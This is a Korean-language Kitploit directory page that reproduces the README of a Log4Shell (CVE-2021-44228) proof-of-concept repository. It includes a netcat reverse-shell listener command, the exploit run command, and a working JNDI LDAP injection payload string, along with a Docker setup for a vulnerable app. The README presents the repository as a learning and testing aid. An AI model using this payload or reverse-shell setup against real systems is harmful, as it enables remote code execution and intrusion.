Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4j-shell-poc — CVE-2021-44228 취약점에 대한 개념 증명(PoC). | Kitploit
도구/GitHubGitHub/kozmer/log4j-shell-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationArchived
GitHubkozmer/log4j-shell-poc

log4j-shell-poc

CVE-2021-44228 취약점에 대한 개념 증명(PoC).

저장소 보기
1.9k54132년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

log4j-shell-poc

최근 발견된 CVE-2021-44228 취약점에 대한 Proof-Of-Concept입니다.

최근 log4j에서 새로운 취약점이 발견되었습니다. log4j는 elasticsearch, minecraft 등 다양한 분야에서 널리 사용되는 Java 로깅 라이브러리입니다.

이 저장소에는 취약한 애플리케이션 예제와 이에 대한 proof-of-concept (POC) 익스플로잇이 포함되어 있습니다.

Proof-of-concept (POC)

PoC로는 프로세스를 자동화하는 Python 파일이 있습니다.

요구 사항:

pip install -r requirements.txt

사용법:

  • 역방향 셸 연결을 수락하기 위해 netcat 리스너를 시작합니다.
nc -lvnp 9001
  • 익스플로잇을 실행합니다.
    참고: 이 작업이 작동하려면 추출된 Java 아카이브의 이름이 jdk1.8.0_20이어야 하며 동일한 디렉토리에 있어야 합니다.
$ python3 poc.py --userip localhost --webport 8000 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up fake LDAP server

[+] Send me: ${jndi:ldap://localhost:1389/a}

Listening on 0.0.0.0:1389

이 스크립트는 HTTP 서버와 LDAP 서버를 설정하고, 취약한 파라미터에 붙여넣을 수 있는 페이로드도 생성합니다. 이후 모든 것이 잘 진행되었다면 lport에서 셸을 얻을 수 있습니다.


취약한 애플리케이션

취약한 웹앱이 포함된 Dockerfile이 있습니다. 아래 단계에 따라 사용할 수 있습니다:

1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc

실행되면 localhost:8080에서 접근할 수 있습니다.


Java 버전 가져오기.

Oracle은 이전 Java 버전에 대한 아카이브를 제공합니다:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
8u20까지 스크롤하여 운영 체제와 하드웨어에 맞는 파일을 다운로드하십시오. Screenshot from 2021-12-11 00-09-25

참고: 패키지를 다운로드하려면 계정을 만들어야 합니다.

아카이브를 다운로드하고 추출하면 jdk1.8.0_20/bin에서 java 및 관련 바이너리 몇 개를 찾을 수 있습니다.
참고: 작동하려면 jdk 폴더를 같은 이름으로 이 저장소에 추출해야 합니다.

❯ tar -xf jdk-8u20-linux-x64.tar.gz

❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)

면책 조항

이 저장소는 CVE-2021-44228에 대한 원클릭 익스플로잇을 제공하기 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다 (단, 이 목적에는 더 나은 애플리케이션이 있습니다. 예: https://log4shell.tools/).

도구 다운로드